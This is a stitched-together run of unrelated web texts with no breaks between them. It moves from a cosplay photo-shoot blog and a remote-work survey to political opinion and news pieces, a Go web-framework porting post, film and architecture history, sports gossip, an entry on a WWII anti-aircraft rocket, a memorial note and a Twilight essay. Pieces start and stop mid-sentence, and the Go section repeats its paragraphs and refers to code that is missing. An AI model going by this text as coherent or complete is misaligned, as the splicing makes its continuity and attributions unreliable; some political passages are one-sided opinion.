I have gotten used to the curious stares over the last three years of doing this as I get my lightstand and single softbox set up, and this was no different. Even though there was a show going on ahead of them many people turned to see what was going on. Once I had my calibrations locked in we were able to blast through the first couple sets of pictures fairly quickly and keep walking till we got to the castle (which was FANTASTIC!). It made a perfect backdrop for many of our shots. Again, we drew the attention of some onlookers and I saw more than one person sneaking pictures of our group with their cell phones, and who can blame them? They looked amazing!! As we were wrapping up at the castle, our Rogue noticed an archer had been watching us do our shoot and ran to give him one of my cards. He came back and I grabbed a couple of super quick shots of him in front of the castle, which was pretty awesome.
After that we had one of the vendors come out of his booth and asked to see one of the pics I had just taken. I showed him and he offered to let us use his chainmail for some shots if we wanted to because he liked my lighting setup and how the shots were turning out, which was incredibly flattering. We were on our way to one of the events, though and didn't get to make it back to take him up on his offer, which kind of sucks because he had some great work!
We wrapped up the shoot, grabbed some more food, checked out some shops (ate a ton of pumpkin cookies that our Rogue was thoughtful enough to bring) and parted ways. It was an absolutely fantastic day for all of us, the wifeoo had SUCH a good time (and even bought some great elf ears!). We also got to talk to the awesome Karneval Masque Atelier and got a couple of cool shots of the wife wearing some of their great products. I would love to do some product photography with her work, it has so much detail and texture that my lighting and style just really works well on. Below is a gallery of some sample images from the shoot on my Facebook, so check it out! Thanks for reading my rambles, keep being awesome and peace guys. Till next time *bows*Background & Data
A while ago, I posted on Twitter and asked remote employees to tell me, in one word, the hardest thing about working remote.
I ended up getting way more responses than I thought I would: over 450 responses (some of those responses are definitely joke responses -- this is the Internet, after all).
I did a bit of analysis of these words. I started by doing some manual aggregation (changing eg. 'lonely' to 'loneliness') and a little bit of spelling correction. I then grouped the words by frequency, and discarded anything that only showed up once. This got rid of most of the obvious jokes/trolls, but left "pants," which received 7 (!) votes total. I manually discarded that, along with "nothing," which received 5 votes. I then bucketed the data, subjectively (here's the raw data). It's pretty easy to see the themes, even before bucketing. Here are the top 5 words and the number of times they occurred. These results are probably completely unsurprising if you've ever worked remote, or even if you've worked with someone who is remote:
communication, 41
loneliness, 32
isolation, 26
timezones, 15
discipline, 8
After bucketing the individual responses, the themes are even more stark: half the responses relate to the difficulty of isolation, and another 20% or so are about the difficulty of communication.
Thoughts & Feelings
My motivations for doing this survey were, honestly, a little selfish. I've been working remote for nearly 3 years straight now, and it's varied between awesome and incredibly, incredibly hard. Things are getting better, but until October I'd been sliding towards a personal nadir: my physical and mental health has been deteriorating steadily for the past 18 months, and I was dealing with a situation at work which felt like an enormous professional and personal failure. I was seeking reassurance that at least some of the difficulty I was facing wasn't solely of my own making; I wanted a sense of camaraderie.
I'm reassured, seeing this data, that I'm not alone: I feel comfortable asserting that the things that make working remote hard aren't, primarily, logistical; they're emotional.
I'm a classic nerdy introvert, and all things considered I'd rather be alone or with people I know really well most of the time. But that doesn't mean that being alone in my office all day long for weeks at a time -- even when I get to talk to people on IRC or over video chat -- is good for me. I recently started renting an office with a friend. Now, a few times a week, I ride my bike for 20 minutes to get to the office, say good morning to someone who I don't live with (!), go to a different coffee shop for coffee, go to one of a different set of places for lunch, and at the end of the day take 20 minutes to ride my bike home. On days I do this I am qualitatively happier. As a bonus, I have a place I can leave my work laptop overnight to give myself physical and mental distance from work when I need it. I'm not saying the cure to all remote-work woes is to just go rent an office, but there is something important that comes with a physical separation between work and not-work.
There are obvious reasons for feeling isolated as a remote: missing out on hallway conversations, not being able to get lunch with your co-workers or go for a walk with a trusted confidante to talk out a hard problem, not being able to grab a whiteboard to brainstorm an idea, not eating the delicious pastries in the kitchen, and on and on. But I wonder if part of the isolation, too, comes from the sense of being isolated not only from your co-workers but from the world at large.
I continue to believe that organizations that can figure out how to make remote work awesome and sustainable are at a competitive advantage. (John O'Duinn explains this better than I can) However, like anything groundbreaking and transitional, it's hard, and requires constant work to do well. I'm trying my best to figure out things that don't work and try to make them better. I'd love to hear things that others have done to make their experience -- especially the emotional experience -- as remotes better. Hit me up on Twitter (@moishel) with suggestions or anecdotes or just for productive commiseration.In this interview (jump to the 14:30 mark) with Chris Wallace, Hillary explained away with phrases like “in my view” and “that’s not what I heard” to draw a curtain across the reality of what actually occurred.
I hope FBI director Jim Comey watched the Chris Wallace interview with Hillary Clinton. I trust he did. Perhaps he noticed the alternate world, the altered reality of Hillary Clinton. Maybe Mr. Comey has a tinge of regret.
Hillary: “James Comey said my answers were truthful and what I have said is consistent with what I have told the American people.” Chris Wallace: “… James Comey said none of those things you told the American public were true.”
Real video was provided of Comey’s testimony corroborating Wallace’s view that there were indeed stark and real inconsistencies between what Hillary now says and the content of Comey’s testimony pertaining to the results of his investigation.
Hillary won’t let the reality of the video of Comey’s testimony alter what she wishes to be true, or at least perceived to be true. Her defense was delusional and bordered on pathological.
Her continued curious relationship with the truth seems to leave Democrats unbothered and unaware. This perhaps is the most disturbing condition of our current political scene. Trump supporters notice his unfiltered shortfalls, but Hillary supporters are blind to her untruths.
It is becoming a tired and worn out game in Washington.
I wouldn’t do this again. We will make sure it never happens again. At this point, what does it matter? All phrases designed to push away the gravity of the topic and the resultant consequences or punishments being measured. Hillary is well trained in this tactic, as transparent as it is.
All voters must respect the truth, and those who are comfortable with the truth. There is a great caution being ignored by the American people.
“Everyone wishes to have truth on his side, but it is not everyone that sincerely wishes to be on the side of truth.” –WhatelyRalph Bakshi burst into American consciousness as the mad genius behind some gritty, grimy—some were derided as obscene—animated feature films: Fritz the Cat (1972), Heavy Traffic (1973), Coonskin (1975), American Pop (1981), and Hey Good Lookin’ (1982). He also made the all-ages Wizards (1977), Lord of the Rings (1978), and Fire and Ice (1983). Bakshi’s last animated feature film (technically only partly-animated), Cool World, came out in 1992. In the 22+ years since, he’s primarily made short films, many of them quite short. His most recent work, the two-minute anti-Mitt Romney piece “Trickle Dickle Down,” came out in 2012.
Bakshi fans have been looking forward to his latest, the 22-minute “Last Days of Coney Island,” for about a decade now; it will be available on demand through Vimeo on October 29.
Here’s the trailer, released last week:
Last Days of Coney Island from Bakshi Productions, Inc. on Vimeo.
Share this: on Twitter on Facebook on Google+The Plan
It'd be naive to say "X is better than Y, therefore we shall port all our Y to X immediately!" and leave it at that. There's other questions we need to answer:
How long will it take?
What does all the X you've written do while you're still dependant on Y?
What if there's just some things that Y can do which X can't (yet)?
The answers should be:
"A long time" cause that's the truth
"It gets used in production" because code has no value until it's used, and
"Then you keep using Y for those things" because, as they say, "you don't throw out the baby with the bath water". OK. We're porting a legacy web application to a new platform. What's the plan?It'd be naive to say "X is better than Y, therefore we shall port all our Y to X immediately!" and leave it at that. There's other questions we need to answer:The answers should be:
The plan is to use the new technology as a reverse proxy which, initially, takes all requests and forwards them on to your legacy back end. Then, over time, you start porting features from the legacy platform to the new one. If something goes wrong, you can turn off that route handler and let the legacy platform pick it up again.
Doing this in Go is trivial. The core library already comes with a simple reverse proxy that suits our needs:
The Martini Web Framework
Martini is a micro-framework, similar to Sinatra and Express. It doesn't give you bells and whistles to plug into your application (well,
You can have common handlers, called middleware, which run against every request, and handlers for routes. So you can have a common Authentication handler that identifies the user for every request, and then specific Authorization handlers for different routes that make sure the user has the required access before running the final handler. Here's an example:
While the Go core library is very complete, especially for the building of web applications, there is still plenty of room to build libraries on top. For example, while Go comes with the "testing" library and the "go test" and "go cover" commands, there's space for third-party libraries to define their own DSLs for writing tests, such as GoConvey. In the same vein, there's plenty room for different web frameworks to implement different opinions and architectures. My personal favourite is Martini Martini is a micro-framework, similar to Sinatra and Express. It doesn't give you bells and whistles to plug into your application (well, not out of the box ), but it does give you a simple way to define chains of request handlers (like filters, if you're coming from Java servlets) and pass values to handlers through dependency injection.You can have common handlers, called middleware, which run against every request, and handlers for routes. So you can have a common Authentication handler that identifies the user for every request, and then specific Authorization handlers for different routes that make sure the user has the required access before running the final handler. Here's an example:
But how does the Authorization handler know what the result of the Authentication handler was? That's where Martini's dependency injection comes into play.
It uses Go's
You can add your own injectables or
Here's what a request to this code looks like, with the flow of control through the request and response:But how does the Authorization handler know what the result of the Authentication handler was? That's where Martini's dependency injection comes into play.It uses Go's reflect package to determine what types a handler is expecting as parameters. By default it knows about the http.Request and *http.ResponseWriter objects, which is why Martini also works with any handlers designed for http.HandleFunc() You can add your own injectables or services by calling the MapTo() method on the martini.Context (Another default injectable) for the request. MapTo() takes a variable and the type that it should be injected for. You can also use this to wrap existing services, as Martini does with the *http.ResponseWriter
Impressions of Go
Now that you've got an idea of what I've been working on, here's some of the impressions that Go made on me.
A well stocked box of goodies
Out of the box, Go comes with a standard library to be proud of. Take for example the fact that it comes with a simple reverse web proxy, ready to go. It also comes with a set of packages for compression, including gzip, and 11 different packages for encoding, including JSON, XML, and Base64. Normally I'd expect to go to third-party libraries or roll my own for at least a few of these. Not in Go.
And let's not forget the 'go' command line tool itself, which can:
Build
Test
Benchmark
Calculate code coverage from tests
Format code
Fix code written for older versions of Go
Host a web server for serving code documentation
and retrieve dependant packages from Git and Mercurial repositories The convention of using the repository domain as the package namespace is a great idea which keeps dependency management nice and simple. The only drawback I've heard is that it doesn't support the ability to set specific revisions as a dependency, which will make it awkward if a third-party package introduces non-backwards compatible changes. But there are examples of the community stepping up to fill the gap.
Another favourite feature of mine is " go fmt", and the way the formatting conventions are enforced by the compiler. I am tired of arguments over code formatting, and I'm glad that the creators of Go have cut those arguments off at the knees, saying "This is how it is - deal with it. Now, back to the show!".
Third-party support isn't perfect, yet
go-wiki's list of
I haven't exhausted all my options yet to fix the issue yet. For example I've only tested it on Windows, and I haven't explored whether connection pooling will help (I'm currently opening and closing a connection on each query). But it's an unhealthy reminder that there's likely to be issues like this when moving from legacy platforms to something new like Go. If I were using I had one third-party technology requirement for my Go program; It had to support MS SQL, because that's what the legacy platform was using for persistence.go-wiki's list of supported SQL drivers included an ODBC driver which is cross-platform, using Free TDS for Mac and Linux, so I thought this wouldn't be a problem. Sure enough, when I first tested it on Windows, everything seemed fine. Then I did some benchmarks and realised every stored procedure call was taking a lot longer than it should. When I tried the same calls with an ADODB driver (which I didn't |
my ass they finally found 3 or 4 that they drink usually in the same order every Thursday. These guys are college kids, I think they turned 21 recently. They talk about playing golf and smoking weed. Total fratbros, but pretty entertaining nonetheless.Times Square is one big, incredible machine that has the sweet caress of capitalism to thank for its success as much as it does careful city planning. However, when the area was famously filthy in 1984, New York City contemplated a major intervention that would've changed the landscape of Midtown profoundly.
The intervention itself never quite panned out, but the proposed designs for a Times Square sure did say a lot about the state of architecture at the time. The Skyscraper Museum in downtown Manhattan is currently exhibiting a selection of the original designs, which range from Blade Runner-inspired futurescapes to tepid, postmodern pastiche. None of them really look like Times Square today, but that's kind of the point.
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Inevitably, every design team's approach offers unique insight not only into what Times Square could've become but also what American architecture did become. [NYT via FastCo]
Robert Venturi and Denise Scott Brown
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While it seemed like a good idea at the time, this bland, boxy approach would've turned Times Square into a supersized version of the generic skyscraper that dots America's exurbs. And that apple.
Gilbert Gorski
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This sort of Space Needle-inspired creation would've been great for New Year's Eve celebrations. And that gondola-looking thing could be cool for tourists. Pretty much everything else about this design is just awful, though.
Lee Dunnette
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Now we're talking. This thing looks like a spaceport that shoots holograms into the stars. And any design that mentions Indiana Jones clearly gets extra points.
George Ranalli
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This frankly sort of fascist-looking design swings back into the realm of terrible. That said, it also resembles the original romantic modernist design of 2 Columbus Circle (RIP).
Gilbert Gorski
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Umm, is that a zeppelin? Is this a set drawing from the movie Metropolis? Have you ever seen Times Square look so clean and modern?
David Stein
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Seriously, though, this design is legitimately cool. Stein wanted to cover the original New York Times headquarters with lightbulbs that could display the face of old Broadway stars. Given the ubiquity of LED signs in Times Square today, the idea was oddly prescient.
William Schacht and Cassandra McGowen
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This simple idea is essentially a more analog version of Stein's concept. Instead of a new incandescent façade, however, One Times Square would be restored and wrapped with the face of Lady Liberty. It's perfect inoffensive but also not very transformative.
Frank Lupo and Daniel Rowen
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I'm not entirely sure what's going on here, but it looks expensive and very spacey.
Chip Sloan
AdvertisementNorth Carolina Gov. Pat McCrory (R) spent Tuesday scrambling to try to undo some of the damage done by the anti-gay law he signed last month.
It didn’t go so well.
The new law — which yanked local discrimination protections for LGBT people and limited employees’ ability to sue over workplace discrimination of all kinds — provoked a national outcry and a growing economic boycott of North Carolina. In response Tuesday, McCrory tried to back away from some of the law’s provisions while still stubbornly defending the man part of the law that targets LGBT citizens.
The difficulty of that two-step dance — and McCrory’s clumsiness in pulling it off — was most obvious in an extended interview with Time Warner News. During the interview, McCrory’s flailing defenses ran the gamut, from pointing out that he didn’t call the special session where the rushed legislation was introduced to claiming that he knew before he signed it that there were things that would have to be fixed in the bill.
“When I signed the bill, I knew there would have to be corrections in this bill. And I had raised some objections, first of all, to some of the things in the bill that we should have waited for long session, or for the short session. And I also informed some people that we had some issues, especially with the state court. My lawyer — my chief legal counsel had expressed concern,” he said.
McCrory was referencing a small provision of the sweeping legislation that removed the ability for private sector employees to sue their employer in state court if they claimed they were discriminated against on the basis of race, religion, color, national origin, age, sex or handicap. In an executive order issued on Tuesday, McCrory asked legislators to offer a fix to the bill and again allow employees to sue in state court.
The governor offered a bumbling answer as to why he signed the law when he had qualms about it. He said he felt that blocking a Charlotte ordinance protecting gay and transgender people from discrimination, which was set to go into effect at the beginning of April, was more important. He also noted that he himself did not call the special legislative session because he knew it would produce rushed legislation.
“I was not going to block the state legislative efforts to deal with that immediate issue,” he said. “But I knew it was an imperfect bill, and that’s one reason I didn’t even call them into session because I knew they’d be rushed.”
McCrory told Time Warner News that he is “confident” that the legislature will agree to a change in that provision. A spokesman for the state House speaker said that the legislature will review McCrory’s request.
But the governor said that the fix to workers’ ability to sue will be the end of changes to the law.
“I don’t think HB2 will be reversed,” he said, adding that legislators have received positive feedback from constituents about the law.
The governor has stubbornly defended the law since he signed it despite intense backlash from LGBT rights groups and the business community. In his interview with Time Warner News, he continued to blame misperceptions of the law for the backlash.
When asked whether he was concerned about businesses abandoning plans to expand in the state over the law, McCrory said that some companies “don’t quite understand” the law. He said that the law has been “misinterpreted” by news outlets like the New York Times and Huffington Post.
“It is absolutely amazing that this continues to be a topic, and I frankly think this very powerful interest group will continue to make it a topic because that’s there agenda,” he said, referencing LGBT advocacy groups like the Human Rights Campaign. At one point in the interview, McCrory said that that since signing the bill, he’s learned that HRC “is one of the most powerful special interest lobbying groups.”
McCrory said that he does not believe its government’s place to direct companies’ employment policies, focusing on the Charlotte ordinance’s provision that allowed transgender people to use the bathroom that corresponds with their gender identity.
When asked whether he believes that people have been fired for being gay, McCrory said he wasn’t aware of an example. And when Time Warner’s Tim Boyum noted that the North Carolina makes it legal for someone to be fired for being gay, McCrory claimed that the federal government can protect them.
“The federal government does that right now,” he said. “I don’t believe anyone should be discriminated against. But I also don’t believe government ought to be writing employment policy for every company and corporation throughout the state of North Carolina.”
Boyum asked whether classifications like race or gender should be protected, and McCrory again gave a rambling answer about employment policy.
“I’m talking about employment policy. And I have, again, you’re creating a problem that, if you come and give me an example of some businesses that are doing that, which I have not heard from,” he said. “I’ve heard the more liberal media come up and give examples of bathrooms and so forth. But they haven’t also come up with the other thing. I don’t know of any signs in any windows prohibiting this classification.”
Watch the full Time Warner News interview here.It looks like episode 10 of “She Was Pretty” might get postponed again.
MBC, the broadcasting company for “She Was Pretty,” had already pushed back the broadcast of the ninth episode of “She Was Pretty,” then canceled it altogether, announcing the cancellation through subtitles, upsetting many viewers.
Episode 10 was set to air on October 21, but there will be the third game of the postseason baseball series between Doosan Bears and NC Dinos, and MBC is scheduled to air this game (for the baseball fans out there, game #1 will be on October 18). If the game goes on for longer than scheduled, there is a distinct possibility of the tenth episode of “She Was Pretty” being delayed, or being cancelled again.
Warning: Minor spoilers ahead
According to the teasers, this episode is going to feature the tense moments between Ji Sung Joon (played by Park Seo Joon) and Kim Shin Hyuk (played by Choi Siwon), caused by their feelings towards Kim Hye Jin (played by Hwang Jeong Eum). It looked like Kim Hye Jin was going to choose Ji Sung Joon, but we’ll have to see the tenth episode to be sure of that!
Source (1)Ninety years ago, in October 1927, Warner Bros was facing ruin. It staked its future on a film called The Jazz Singer – and turned an entire industry upside down
It was just a short scene in a movie, in which a diminutive actor utters a few unscripted words to the orchestra leader, reciting a line that went down in history: “Wait a minute … you ain’t heard nothin’ yet.” But it was a scene that changed the entertainment world and heralded the dramatic arrival of sound to the movies.
Never again would audiences have to read “titles” to explain the action or translate the sweet nothings of lovers. In the space of just over an hour, the silent film was dead.
The moment occurred 90 years ago this weekend. The owners of rival studios had thought their competitors at the near-broke Warner Bros were going out of their minds. The idea of Warners featuring Al Jolson, the biggest star on the American musical stage, actually singing in an upcoming film was madness.
The producers laughed into their martinis as they smoked their cigars and contemplated picking up the spoils after Warner Bros filed for bankruptcy, as it surely would. Jolson plainly couldn’t survive either. Or could he? No. It was all a recipe for failure. For starters, The Jazz Singer, the story of the son of a synagogue cantor who breaks his father’s heart by going into showbiz, had to be a crazy choice.
Those rivals predicted trouble and drank and laughed some more. They could have had no idea how much trouble was coming. The arrival of sound brought disaster, bankruptcies and unemployment to a whole range of people – from silent movie stars to theatre cleaners.
The other studio heads had asked themselves what would happen if the machine controlling the records synchronising sound with action broke down? And those voices? Few stars sounded as good as they looked.
It had to be a flop. Didn’t it? Just a year before, Warners had made Don Juan, starring Douglas Fairbanks and Mary Astor, which didn’t exactly set the Hudson river on fire, despite sound effects like the clash of swords or chairs being thrown – all to the accompaniment of the New York Philharmonic.
The reason Sam Warner, the technical genius of the brothers, thought that adding a human voice would make all the difference was a series of shorts brought in as a late addition to the Don Juan programme. Giovanni Martinelli, principal tenor at the Metropolitan Opera, sang Pagliacci. The leader of the Philharmonic played his violin and Al Jolson sang When the Red, Red Robin (Comes Bob, Bob, Bobbin’ Along).
Facebook Twitter Pinterest Huge crowds outside Warners’ theatre in Times Square, New York to see The Jazz Singer Photograph: ronaldgrantarchive
They were a secret success. The New York press hardly noticed, but audiences did – and loved them. What would be known as “the talkies” were coming out of the fairground.
It was Sam Warner’s idea to team up with the Western Electric company to buy its Vitaphone synchronising system. He had the faith that few others possessed, but sadly died of a mastoid infection of the brain the day before the hugely successful premiere of The Jazz Singer.
The youngest brother, Jack, had brought in Jolson – who said yes because The Jazz Singer was virtually his own life story. There was another reason – he was also promised a slice of the profits.
The brothers proved the naysayers wrong. Crowds outside the Warners’ theatre on Broadway that October evening were filmed waving hats as broad as the smiles on their faces. Acting with “blackface” – the then widely used makeup subsequently abandoned as racist – Jolson was a hit. The audience loved his plucky character. He might have been playing a stable boy on stage, but he told the man playing his boss to dust his own boots. On film, he was only expected to sing, not talk. But that wasn’t the way he was. The orchestra tuned up – and Jolson announced: “Wait a minute, wait a minute, I tell yer, you ain’t heard nothin’ yet.”
Jack and Sam realised that was not just unexpected, it was momentous. So they added a short scene in which Jolson plays the piano and tells his mother how great he is. That was the moment that killed the silent film. And then the problems began – for everyone in the industry except the Warners.
The other big studios were forced to convert their silent movies to sound – while their chiefs went about eating their words and ringing their bank managers. Smaller outfits, notably most of those in New York, went out of business. Cinemas all over the world closed their doors because their owners couldn’t afford the new equipment. Everywhere, piano players were fired. (No cinema had been without a musician in front of the screen, playing fast for a race across the western plains, and soft and smoochy for the inevitable love scenes.)
Facebook Twitter Pinterest The Vitaphone camera used to film the movie. Photograph: Universal History Archive/UIG via Getty Images
No one now wanted the people who wrote the “titles”. The theatre closures meant no work for the men who had turned the handles or controlled the reels for the old-fashioned projectors – to say nothing of those cleaners.
Most obvious casualties were the actors – people such as the silent heartthrob John Gilbert whose voice was pronounced too squeaky, although the story was that Louis B Mayer claimed he sacked him for being drunk.
There was something else that no one seemed to consider at the time: where would the world market for Hollywood’s output go? Now, films in English couldn’t be sold in other countries. There were two answers: films would be shot again and again, in French, German or Spanish, sometimes using the original actors such as Maurice Chevalier, who delighted his fellow countrymen by not having to speak English with an exaggerated French accent. Even Laurel and Hardy thought they had mastered phonetics and spoke in cod French or German.
Eventually studios realised that voices could simply be dubbed, which was not always a good idea.
The talkies, however, were hailed a good idea by the cinemagoers. As Jolson told them 90 years ago: “You ain’t heard nothin’ yet.”
Michael Freedland is the author of Jolson (Vallentine Mitchell) and a biography of the Warner BrothersWhile Pittsburgh Steelers quarterback Ben Roethlisberger has yet to say publicly that he’s fully committed to playing in 2017, many people obviously believe that’s his plan.
On Friday, Roethlisberger was asked if he’s coming back for the 2017 season during his speaking appearance at the Ignite Men’s Impact Weekend at Liberty University in Lynchburg, VA and after a little urging from the crowd Roethlisberger responded.
“I’m leaning towards it,” the Steelers quarterback said while smiling.
Roethlisberger’s response is really the biggest commitment that he’s made to playing in 2017 since hinting after the Steelers playoff loss to the New England Patriots that might decide to retire. Roethlisberger has since had a few conversations with the Steelers since making those remarks on his radio show and everybody believes he’ll indeed be back in 2017.
Roethlisberger would be turning his back on $12 million in 2017, $17 million in 2018, and $17 million in 2019 should he decide to retire now. Additionally, he’d potentially owe the Steelers $18.6 million in signing bonus money that’s been paid to him if he retires now.
Nick Bonnett posted Roethlisberger’s Friday speaking appearance on his Facebook page in two parts and if you have some free time on this Saturday it’s worth watching and listening to. Roethlisberger gets emotional a few times during his talk and testimony that includes him recalling his early playing days in high school, college and in the NFL.Crew with 7-inch UP projectiles on HMS King George V
Launchers on the roof of B and X turrets on HMS Nelson, 1940
The 7-inch unrotated projectile, or UP, was a short range anti-aircraft rocket, developed for the Royal Navy. It was used extensively by British ships during the early days of the Second World War, but proved unreliable and ineffective in operation, prompting the withdrawal of the system during 1941.
Operation [ edit ]
The name "unrotated projectile" was a cover name to disguise the use of a rocket system, and comes from the fact that the projectile was not spin-stabilized. The weapon had 20 smoothbore tubes and fired ten at a time. A small cordite charge was used to ignite a rocket motor which propelled the fin-stabilized 7-inch (18 cm) diameter rocket out of the tube to a distance of about 1,000 feet (300 m), where it exploded and released an 8.4 ounces (240 g) mine attached to three parachutes by 400 feet (120 m) of wire. The idea was that an aeroplane hitting the wire would draw the mine towards itself where it would detonate.
Development [ edit ]
The UP was developed by Sir Alwyn Crow who was the director of the Projectile Development Establishment at Fort Halstead. In November 1939, Winston Churchill as First Lord of the Admiralty asked Crow to produce urgently a means of laying an aerial minefield and to consider other methods of protecting ships against aircraft. It is likely that Churchill was influenced in his request by his friend and advisor, Frederick Lindemann, who had previously advocated a scheme for "dropping bombs hanging by wires in the path of attacking aircraft".[1] A high-altitude barrage was developed: an aerial minefield up to 19,000 feet (5,800 m), the fast aerial mine up to 2,000 feet (610 m), the PE fuse up to 18,000 feet (5,500 m) and the UP up to 20,000 feet (6,100 m).
The 7-inch UP was developed simultaneously with the 2-inch and 3-inch UP systems, the latter being successfully deployed in the anti-aircraft Z Batteries which were operated by the Home Guard and was the basis of the RP-3 air-to-surface rocket and the Mattress surface-to-surface multiple rocket launcher.[2]
Effectiveness [ edit ]
The weapon was not very effective as it was slow to load and aircraft could avoid the wires. It was replaced later in the war by the 2 pounder or Bofors 40 mm gun.
A demonstration of the weapon for Churchill on Admiral Jack Tovey's flagship at Scapa Flow dramatically exposed a flaw in the concept. Practice bombs were fired and when there was an unexpected change of wind, they drifted back onto the ship and some became entangled in the rigging and superstructure. The dummy rounds caused little or no damage but Tovey was amused at the embarrassment thus caused to the weapon's advocates, Lindemann and Churchill.[3]
The UP ammunition aboard HMS Hood was seen to be on fire just before she exploded and sank in May 1941. The report of the Admiralty Board of Enquiry into the sinking of Hood in September 1941 concluded "That the fire that was seen on Hood's boat deck, and in which UP and/or 4-inch ammunition was certainly involved, was not the cause of her loss", but it noted that "Action has (already) been taken to land UP mountings and ammunition" in the rest of the fleet.[4]
Specifications [ edit ]
Rocket length : 32 inches (810 mm)
: 32 inches (810 mm) Rocket weight : 35 pounds (16 kg)
: 35 pounds (16 kg) Horizontal range : 3,000 feet (910 m)
: 3,000 feet (910 m) Sinking speed of mine : 16 to 23 feet per second (5 to 7 m/s).
: 16 to 23 feet per second (5 to 7 m/s). Mounting weight: 4 tonnes (4.0 t).
See also [ edit ]
References [ edit ]
Notes [ edit ]
Sources [ edit ]Marc Cornelissen and Philip de Roo tragically went missing on 29 April, 2015 whilst on expedition in the Canadian High Arctic, in a location near Bathurst Island, some 200 km north of Resolute Bay, Nunavut. It is feared that the two Dutch polar explorers fell through the ice into the water whilst traversing dangerously thin ice in a region of open sea ice.
Marc was a friend of ESA and ardent supporter of the CryoSat mission, and had become a personal friend. He was an inspirational character, an explorer and a romantic. He had fallen in love with the spellbinding beauty of the poles and had made it a personal mission to highlight the magnitude of the human fingerprint on this last wilderness.
Marc was a professional expeditioner, with an eye for meticulous preparation to overcome known obstacles. However, he and Phil had ventured out into the wilderness one last time to witness the irrevocable Arctic changes accompanying the rapidly warming climate. It is difficult to avoid the possibility that these changes, ultimately, led to the unpredictable circumstances that appear to have claimed both their lives.
We seek solace in that Marc and Philip were doing what they loved. They travelled to the Arctic on this fateful expedition, named the ‘Last Ice Survey–2015’. Both chose to bring to the world’s attention messages about the special stewardship sought for this region. Marc and Philip will remain a source of inspiration to us all.
Our thoughts are with the families and close friends of Marc and Philip at this very difficult time.
From Mark Drinkwater, Malcolm Davidson, Tommaso Parrinello, Roger Haagmans, Tania Casal and Honora Rider.
The Arctic Wind by D.M. Brands
Have you ever seen the Northern Lights dance in a moonlit sky,
Or heard the distant cries of wolves in the mountains way up high?
Have you ever walked the icy plains where the rain stings and burns,
Or felt the cold pierce through your bones like a thousand knifing turns?
There’s something in the Arctic Wind that holds me like a spell
And it beckons me to live like men, the men only legends tell.White House press secretary Sean Spicer at a briefing. REUTERS/Kevin Lamarque ABC reporter Jonathan Karl pressed White House press secretary Sean Spicer on Monday over Spicer's inaccurate claims about the size of inaugural crowds.
During what President Donald Trump's team dubbed the "first official press briefing," Karl confronted Spicer about his Saturday statement that Trump's inauguration was the "largest audience to ever witness an inauguration — period — both in person and around the globe," despite evidence to the contrary.
"Is it always your intention to tell the truth on that podium, and do you pledge to never to knowingly say something that is not factual?" Karl asked.
Spicer said that his intention was "never to lie" to reporters and that the administration and journalists could "disagree on the facts."
"There are times we believe something to be true or we get something from an agency or we act in haste because the information available wasn't complete, but our desire is to communicate with the American people and make sure you have the most complete story at the time, so we do it," Spicer said.
"I'm going to come out here and tell you the facts as I know them, and if I make a mistake, I'll do my best to correct it," he added.
The size of the crowd at Friday's inauguration became a source of debate after Trump said on Saturday that more than 1 million people attended.
There are no official government estimates of the crowd size, but independent estimates put it at closer to 250,000 attendees, while metro ridership statistics and photographs comparing Trump's inauguration with past inaugurations suggested that the number was far lower than the White House claimed.
Spicer also attempted to point out the media's errors, noting Time reporter Zeke Miller's inaccurate Friday report that the Marin Luther King Jr. bust in the Oval Office was removed — a brief report that Miller quickly corrected and apologized for.
"You're in the same boat. There are times when you tweet something out or you write a story and you publish a correction. That doesn't mean that you were intentionally trying to deceive the American people, does it?" Spicer said. "And I think that we should be afforded the same opportunity."
Spicer said that the information he was provided on Saturday, which was given to him by the inaugural committee, "came from an outside agency," and he highlighted the millions of people who watched on TV and streaming services.
The press secretary said that he never claimed that the inauguration had the largest in-person audience, saying he always meant the total audience of viewers for the inauguration.
"I didn't say in person — both in person and around the globe to witness it," Spicer said. "I don't know how I could interpret that differently. That's literally what I said, to witness it both in person and around the globe."
Later in the press conference, Spicer said that it was "not about the crowd size," citing commentary and punditry suggesting that Trump could not win key states in the 2016 election.
"There is this constant theme to undercut the enormous support that he has," Spicer said. "And I think it is unbelievable frustrating when you're told it's not big enough, it's not good enough, you can't win."
Spicer's comments on Saturday raised concern from several former White House officials.
Jay Carney, President Barack Obama's second press secretary, voiced his displeasure with Spicer's insistence on the crowd size on Twitter.
During an appearance on CBS on Monday, Ari Fleischer, a press secretary for President George W. Bush, urged Spicer to correct his error.
"It concerns me. It's one thing to take on the press — that's a time-honored tradition in Washington, DC," Fleisher said. "The part about how people showed up in the audience at the inauguration, who cares. It's not worth fighting over."Nothing happened on the fifth, but I do remember, remember the 17th of November, 2008. 11 year-old me was eating his nightly second-helping of Neapolitan ice cream after dinner, unknowingly savoring his final moments as a joyful, innocent, uncaring child who knew nothing of the incoming adoration for the pale and silent six-packed man. It was when my mother turned on the TV to get her daily dose of celebrity gossip that I began a long phase in my life sparked by Twilight.
“People are freaking out about this. Twilight… what is it?” asked my mom, and as ice cream melted in my mouth I adorably and sincerely responded with “I think it’s like a time of day. Maybe it happens once a year.”
I do wish that twilight had remained a time of day, that November 17th, 2008 was just another forgettable twenty-four hours and not the date of the Los Angeles premiere, or at least a part of me does. The part of me that wishes I was the more traditional brutish man that speaks in grunts hates Bella and Edward’s romance because that is the relationship that seeped into my ice cream obsessed head and aided in distorting me into a neurotic, anti-social, brooding boyman.
Like most boys I hated Twilight, and like most boys it wasn’t because of it’s lack of cinematic value. Saying “it’s stupid” was just a front to cover up my true feelings about the popularity of the movie. I’ve always been a romantic, even before I knew what romance and that definitely plays a big role in the way Twilight affected me. I hated Twilight because instead of flirting with me, my crush was flirting with her Edward Cullen posters at home. I wanted to fall in love like Jack and Sally did in A Nightmare Before Christmas, or Edward and Kim did in Edward Scissorhands, but nobody in elementary, middle, or even high school was really talking about those movies. They were talking about Twilight, so in an effort to fall in love I unconsciously became what girls seemed to want, Edward Cullen.
Little by little I chiseled away at the ice cream eating boy to create something new. I wore black, didn’t talk to people, grew wild hair, I even wrote poetry because it seemed like something Edward would do, so by the time I reached high school I was an Edward Cullen. Little did I know that by this time the girls didn’t care about Twilight as much. While they were debating Team Edward and Team Jacob for fun I was taking their fandom more and more seriously. I expected girls to start having posters of a brooding me on their walls, but I soon discovered that being a strong-jawed Robert Pattinson is essential in making brooding hot and that you have to be in a movie for brooding to be taken seriously. I had neither of those things, so the persona I expected girls to fall for was rejected.
